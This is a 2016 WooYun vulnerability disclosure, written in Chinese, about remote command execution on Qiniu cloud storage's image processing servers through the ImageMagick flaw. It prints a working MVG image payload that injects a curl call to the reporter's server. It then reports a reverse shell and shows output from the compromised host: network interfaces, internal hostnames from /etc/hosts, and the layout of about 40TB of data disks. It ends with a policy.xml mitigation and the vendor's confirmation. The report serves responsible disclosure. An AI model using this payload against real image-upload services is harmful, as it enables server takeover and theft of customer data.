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缺陷编号：wooyun-2016-0205290

漏洞标题：七牛云存储远程命令执行漏洞影响图片处理服务器

相关厂商：七牛云存储

漏洞作者： 风吹屁屁好特么凉

提交时间：2016-05-05 14:28

修复时间：2016-06-19 16:20

公开时间：2016-06-19 16:20

漏洞类型：命令执行

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

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分享漏洞：

漏洞详情

披露状态：

2016-05-05： 细节已通知厂商并且等待厂商处理中
2016-05-05： 厂商已经确认，细节仅向厂商公开
2016-05-15： 细节向核心白帽子及相关领域专家公开
2016-05-25： 细节向普通白帽子公开
2016-06-04： 细节向实习白帽子公开
2016-06-19： 细节向公众公开

简要描述：

七牛云存储远程命令执行漏洞影响图片处理服务器

详细说明：

七牛云存储在业务中使用了 ImageMagick 对程序进行处理，由于该软件（扩展）存在命令执行漏洞，所以导致可以直接获取七牛云存储服务器权限。
漏洞详情请参考：
http://www.openwall.com/lists/oss-security/2016/05/03/18
具体利用过程：调用七牛云存储上传图片，图片内容为：

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|curl "*.*.*.*)'
pop graphic-context


我的服务器 web 日志能够收到如下请求：

183.136.128.155 - - [05/May/2016:11:34:30 +0800] "GET / HTTP/1.1" 200 11359 "-" "curl/7.22.0 (x86_64-pc-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3"


证明服务器能够执行命令，反弹 shell 到本地：

qboxserver@nb443:/home/qboxserver$ /sbin/ifconfig 
/sbin/ifconfig
bond0     Link encap:Ethernet  HWaddr 6c:92:bf:08:42:31  
          inet addr:192.168.39.56  Bcast:192.168.39.255  Mask:255.255.255.0
          inet6 addr: fe80::6e92:bfff:fe08:4231/64 Scope:Link
          UP BROADCAST RUNNING MASTER MULTICAST  MTU:1500  Metric:1
          RX packets:1954421513004 errors:296 dropped:109669460 overruns:89056 frame:139
          TX packets:1830543349326 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:2185589994172355 (2.1 PB)  TX bytes:2267435507197833 (2.2 PB)
eth0      Link encap:Ethernet  HWaddr 6c:92:bf:08:42:31  
          UP BROADCAST RUNNING SLAVE MULTICAST  MTU:1500  Metric:1
          RX packets:1015834290209 errors:296 dropped:3 overruns:57652 frame:139
          TX packets:949789646132 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:1137441591036452 (1.1 PB)  TX bytes:1174420660158860 (1.1 PB)
          Memory:df7a0000-df7c0000 
eth2      Link encap:Ethernet  HWaddr 6c:92:bf:08:42:31  
          UP BROADCAST RUNNING SLAVE MULTICAST  MTU:1500  Metric:1
          RX packets:938587222795 errors:0 dropped:3 overruns:31404 frame:0
          TX packets:880753703193 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:1048148403135903 (1.0 PB)  TX bytes:1093014847038820 (1.0 PB)
          Memory:df920000-df940000 
lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:41448226032 errors:0 dropped:0 overruns:0 frame:0
          TX packets:41448226032 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:271458766242099 (271.4 TB)  TX bytes:271458766242099 (271.4 TB)
qboxserver@nb443:/home/qboxserver$


qboxserver@nb443:/home/qboxserver$ cat /etc/hosts
cat /etc/hosts
127.0.0.1               localhost               nb443
::1             ip6-localhost           ip6-loopback
fe00::0         ip6-localnet
ff00::0         ip6-mcastprefix
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters
192.168.1.188           salt            puppetmaster
192.168.33.200          zabbixserver            bosunserver             fileserver.qbox.me
192.168.34.129          nb.fileserver.qbox.me
192.168.48.248          ntp.ubuntu.com
172.16.77.202 qmaster2
172.16.77.201 qmaster1
172.16.77.201 qmaster1
172.16.77.202 qmaster2


qboxserver@nb443:/home/qboxserver$ df -h
df -h
Filesystem      Size  Used Avail Use% Mounted on
/dev/sda5       279G   75G  190G  29% /
udev             16G   12K   16G   1% /dev
tmpfs           6.3G  392K  6.3G   1% /run
none            5.0M     0  5.0M   0% /run/lock
none             16G   60K   16G   1% /run/shm
/dev/sde1       3.7T  3.2T  293G  92% /disk1
/dev/sdc1       3.7T  3.3T  220G  94% /disk2
/dev/sdb1       3.7T  3.3T  254G  93% /disk3
/dev/sdd1       3.7T  3.2T  283G  93% /disk4
/dev/sdg1       3.7T  3.3T  203G  95% /disk5
/dev/sdi1       3.7T  3.2T  278G  93% /disk6
/dev/sdh1       3.7T  3.2T  285G  92% /disk7
/dev/sdj1       3.7T  3.3T  245G  94% /disk8
/dev/sdk1       3.7T  3.2T  301G  92% /disk9
/dev/sdl1       3.7T  3.2T  262G  93% /disk10
/dev/sdm1       3.7T  3.3T  256G  93% /disk11
/dev/sdf1       3.7T   56G  3.4T   2% /disk12


挂载了这么多磁盘，有将近 40T 的数据，猜测都是客户上传的静态资源。

漏洞证明：

七牛云存储在业务中使用了 ImageMagick 对程序进行处理，由于该软件（扩展）存在命令执行漏洞，所以导致可以直接获取七牛云存储服务器权限。
漏洞详情请参考：
http://www.openwall.com/lists/oss-security/2016/05/03/18
具体利用过程：调用七牛云存储上传图片，图片内容为：

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|curl "*.*.*.*)'
pop graphic-context


我的服务器 web 日志能够收到如下请求：

183.136.128.155 - - [05/May/2016:11:34:30 +0800] "GET / HTTP/1.1" 200 11359 "-" "curl/7.22.0 (x86_64-pc-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3"


证明服务器能够执行命令，反弹 shell 到本地：

qboxserver@nb443:/home/qboxserver$ /sbin/ifconfig 
/sbin/ifconfig
bond0     Link encap:Ethernet  HWaddr 6c:92:bf:08:42:31  
          inet addr:192.168.39.56  Bcast:192.168.39.255  Mask:255.255.255.0
          inet6 addr: fe80::6e92:bfff:fe08:4231/64 Scope:Link
          UP BROADCAST RUNNING MASTER MULTICAST  MTU:1500  Metric:1
          RX packets:1954421513004 errors:296 dropped:109669460 overruns:89056 frame:139
          TX packets:1830543349326 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:2185589994172355 (2.1 PB)  TX bytes:2267435507197833 (2.2 PB)
eth0      Link encap:Ethernet  HWaddr 6c:92:bf:08:42:31  
          UP BROADCAST RUNNING SLAVE MULTICAST  MTU:1500  Metric:1
          RX packets:1015834290209 errors:296 dropped:3 overruns:57652 frame:139
          TX packets:949789646132 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:1137441591036452 (1.1 PB)  TX bytes:1174420660158860 (1.1 PB)
          Memory:df7a0000-df7c0000 
eth2      Link encap:Ethernet  HWaddr 6c:92:bf:08:42:31  
          UP BROADCAST RUNNING SLAVE MULTICAST  MTU:1500  Metric:1
          RX packets:938587222795 errors:0 dropped:3 overruns:31404 frame:0
          TX packets:880753703193 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:1048148403135903 (1.0 PB)  TX bytes:1093014847038820 (1.0 PB)
          Memory:df920000-df940000 
lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:41448226032 errors:0 dropped:0 overruns:0 frame:0
          TX packets:41448226032 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:271458766242099 (271.4 TB)  TX bytes:271458766242099 (271.4 TB)
qboxserver@nb443:/home/qboxserver$


qboxserver@nb443:/home/qboxserver$ cat /etc/hosts
cat /etc/hosts
127.0.0.1               localhost               nb443
::1             ip6-localhost           ip6-loopback
fe00::0         ip6-localnet
ff00::0         ip6-mcastprefix
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters
192.168.1.188           salt            puppetmaster
192.168.33.200          zabbixserver            bosunserver             fileserver.qbox.me
192.168.34.129          nb.fileserver.qbox.me
192.168.48.248          ntp.ubuntu.com
172.16.77.202 qmaster2
172.16.77.201 qmaster1
172.16.77.201 qmaster1
172.16.77.202 qmaster2


qboxserver@nb443:/home/qboxserver$ df -h
df -h
Filesystem      Size  Used Avail Use% Mounted on
/dev/sda5       279G   75G  190G  29% /
udev             16G   12K   16G   1% /dev
tmpfs           6.3G  392K  6.3G   1% /run
none            5.0M     0  5.0M   0% /run/lock
none             16G   60K   16G   1% /run/shm
/dev/sde1       3.7T  3.2T  293G  92% /disk1
/dev/sdc1       3.7T  3.3T  220G  94% /disk2
/dev/sdb1       3.7T  3.3T  254G  93% /disk3
/dev/sdd1       3.7T  3.2T  283G  93% /disk4
/dev/sdg1       3.7T  3.3T  203G  95% /disk5
/dev/sdi1       3.7T  3.2T  278G  93% /disk6
/dev/sdh1       3.7T  3.2T  285G  92% /disk7
/dev/sdj1       3.7T  3.3T  245G  94% /disk8
/dev/sdk1       3.7T  3.2T  301G  92% /disk9
/dev/sdl1       3.7T  3.2T  262G  93% /disk10
/dev/sdm1       3.7T  3.3T  256G  93% /disk11
/dev/sdf1       3.7T   56G  3.4T   2% /disk12


挂载了这么多磁盘，有将近 40T 的数据，猜测都是客户上传的静态资源。

修复方案：

使用策略文件暂时禁用ImageMagick。可在“/etc/ImageMagick/policy.xml”文件中添加如下代码：

<policymap>
  <policy domain="coder" rights="none" pattern="EPHEMERAL" />
  <policy domain="coder" rights="none" pattern="URL" />
  <policy domain="coder" rights="none" pattern="HTTPS" />
  <policy domain="coder" rights="none" pattern="MVG" />
  <policy domain="coder" rights="none" pattern="MSL" />
</policymap>

版权声明：转载请注明来源 风吹屁屁好特么凉@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2016-05-05 16:19

厂商回复：

感谢您的提示，我们正在修复。

最新状态：

暂无